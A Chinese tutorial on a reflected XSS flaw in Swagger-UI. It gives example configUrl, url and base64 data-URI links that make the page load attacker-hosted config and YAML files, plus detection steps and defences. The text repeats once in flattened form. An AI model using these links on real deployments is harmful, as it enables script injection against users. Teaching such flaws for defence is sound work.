Swagger-UI 反射型 XSS
字数 1135 2025-08-19 12:41:44

Swagger-UI 反射型 XSS 漏洞分析与利用教学文档

一、Swagger-UI 简介

Swagger-UI 是一个开源项目,提供了一个直观的用户界面来查看API文档,并允许用户直接从文档中发送请求、查看响应,从而测试和调试API。

主要功能:

  • API文档可视化展示
  • 交互式API测试
  • 支持多种API规范

入口页面通常为:swagger-ui.html

二、漏洞概述

漏洞类型

反射型跨站脚本攻击(XSS)

影响版本

多个版本的Swagger-UI存在此漏洞,可通过JSON.stringify(versions)命令查询当前版本

漏洞原理

Swagger-UI允许通过URL参数动态加载配置文件和API文档,但未对输入进行充分验证和过滤,导致攻击者可以注入恶意脚本。

三、漏洞利用参数

1. configUrl 参数

用于指定Swagger UI配置文件的URL

示例:

/swagger-ui.html?configUrl=https://example.com/test.json

2. url 参数

直接指定API文档的URL

示例:

/swagger-ui.html?url=https://example.com/test.yaml

四、漏洞利用步骤

1. 准备恶意配置文件

创建一个JSON格式的配置文件(test.json),内容如下:

{
  "url": "https://example.com/test.yaml",
  "urls": [
    {
      "url": "https://example.com/test.yaml",
      "name": "Foo"
    }
  ]
}

2. 准备恶意API文档

创建一个YAML格式的API文档(test.yaml),其中包含XSS payload

3. 触发漏洞的方式

方式一:通过外部配置文件

/swagger-ui.html?configUrl=https://example.com/test.json

方式二:直接指定API文档

/swagger-ui.html?url=https://example.com/test.yaml

方式三:使用data URI方案

/swagger-ui.html?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==

五、漏洞检测方法

  1. 检查Swagger-UI是否存在未授权访问
  2. 尝试通过configUrlurl参数加载外部资源
  3. 在控制台输入JSON.stringify(versions)查询当前版本

六、防御措施

  1. 输入验证

    • configUrlurl参数进行严格验证
    • 限制只允许加载可信域的配置文件
  2. 输出编码

    • 对所有动态内容进行适当的HTML编码
  3. 内容安全策略(CSP)

    • 实施严格的内容安全策略,限制外部脚本加载
  4. 版本更新

    • 及时更新到最新版本的Swagger-UI
  5. 访问控制

    • 对Swagger-UI页面实施身份验证
    • 限制内网访问或特定IP访问

七、实际应用场景

  1. 当发现Swagger-UI未授权访问时,可尝试利用此XSS漏洞
  2. 在内网渗透测试中,可用于绕过某些安全限制
  3. 可作为漏洞链的一部分,与其他漏洞结合利用

八、注意事项

  1. 漏洞利用需要目标系统能够访问攻击者控制的服务器
  2. 某些网络环境可能限制外部资源加载
  3. 实际利用前应先确认目标版本是否受影响
  4. 合法渗透测试需获得授权

九、参考资源

  1. Swagger-UI安全公告:https://security.snyk.io/package/npm/swagger-ui
  2. 示例配置文件托管服务:https://surge.sh/
Swagger-UI 反射型 XSS 漏洞分析与利用教学文档 一、Swagger-UI 简介 Swagger-UI 是一个开源项目,提供了一个直观的用户界面来查看API文档,并允许用户直接从文档中发送请求、查看响应,从而测试和调试API。 主要功能: API文档可视化展示 交互式API测试 支持多种API规范 入口页面通常为: swagger-ui.html 二、漏洞概述 漏洞类型 反射型跨站脚本攻击(XSS) 影响版本 多个版本的Swagger-UI存在此漏洞,可通过 JSON.stringify(versions) 命令查询当前版本 漏洞原理 Swagger-UI允许通过URL参数动态加载配置文件和API文档,但未对输入进行充分验证和过滤,导致攻击者可以注入恶意脚本。 三、漏洞利用参数 1. configUrl 参数 用于指定Swagger UI配置文件的URL 示例: 2. url 参数 直接指定API文档的URL 示例: 四、漏洞利用步骤 1. 准备恶意配置文件 创建一个JSON格式的配置文件(test.json),内容如下: 2. 准备恶意API文档 创建一个YAML格式的API文档(test.yaml),其中包含XSS payload 3. 触发漏洞的方式 方式一:通过外部配置文件 方式二:直接指定API文档 方式三:使用data URI方案 五、漏洞检测方法 检查Swagger-UI是否存在未授权访问 尝试通过 configUrl 或 url 参数加载外部资源 在控制台输入 JSON.stringify(versions) 查询当前版本 六、防御措施 输入验证 : 对 configUrl 和 url 参数进行严格验证 限制只允许加载可信域的配置文件 输出编码 : 对所有动态内容进行适当的HTML编码 内容安全策略(CSP) : 实施严格的内容安全策略,限制外部脚本加载 版本更新 : 及时更新到最新版本的Swagger-UI 访问控制 : 对Swagger-UI页面实施身份验证 限制内网访问或特定IP访问 七、实际应用场景 当发现Swagger-UI未授权访问时,可尝试利用此XSS漏洞 在内网渗透测试中,可用于绕过某些安全限制 可作为漏洞链的一部分,与其他漏洞结合利用 八、注意事项 漏洞利用需要目标系统能够访问攻击者控制的服务器 某些网络环境可能限制外部资源加载 实际利用前应先确认目标版本是否受影响 合法渗透测试需获得授权 九、参考资源 Swagger-UI安全公告:https://security.snyk.io/package/npm/swagger-ui 示例配置文件托管服务:https://surge.sh/